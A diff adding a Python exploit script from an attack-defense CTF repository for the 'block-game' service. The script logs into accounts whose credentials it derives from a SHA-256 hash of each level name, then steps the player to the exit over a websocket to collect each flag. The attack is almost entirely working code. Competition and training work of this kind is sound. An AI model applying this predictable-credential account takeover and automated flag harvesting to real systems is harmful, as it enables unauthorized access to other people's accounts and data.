adding validated services? patching forcad_local.py

OmCTF-2025/sploits/block-game/sploit2.py

@@ -0,0 +1,68 @@
+import hashlib
+import json
+import sys
+import requests
+from requests.cookies import get_cookie_header
+from websockets.sync.client import connect
+
+
+def connect_with_auth(sess: requests.Session, url):
+    cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
+    return connect(url, additional_headers={"Cookie": cookie_value})
+
+
+ip = sys.argv[1]
+
+sess = requests.Session()
+
+
+r = sess.get("http://localhost/api/client/attack_data/")
+assert r.ok, r.text
+
+flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
+
+level_names = [json.loads(s)["level_name"] for s in flag_ids]
+
+def get_one(name: str):
+    hash = hashlib.sha256(name.encode()).hexdigest()
+    r = sess.post(f"http://{ip}:5874/api/auth/login", json={
+        "username": hash[:32],
+        "password": hash[:32]
+    })
+    assert r.ok, r.text
+    r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
+    assert r.ok, r.text
+    level_id = r.json()["id"]
+
+    r = sess.get(f"http://{ip}:5874/api/user/level/{level_id}")
+    assert r.ok, r.text
+    tiles = r.json()["data"]["tiles"]
+    assert len(tiles) == 2, "lol"
+    px, py = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "player")
+    ex, ey = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "exit")
+
+    with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
+        while py > ey:
+            sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
+            py -= 1
+        while px < ex:
+            sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
+            px += 1
+        while py < ey:
+            sock.send(json.dumps({"type": "move", "option": {"direction": "down"}}))
+            py += 1
+        while px > ex:
+            sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
+            px -= 1
+        while True:
+            m = json.loads(sock.recv(1))
+            if m["type"] == "level_complete":
+                print(m["option"]["prize"])
+                break
+
+
+for name in level_names:
+    try:
+        get_one(name)
+    except Exception as e:
+        print(name, e)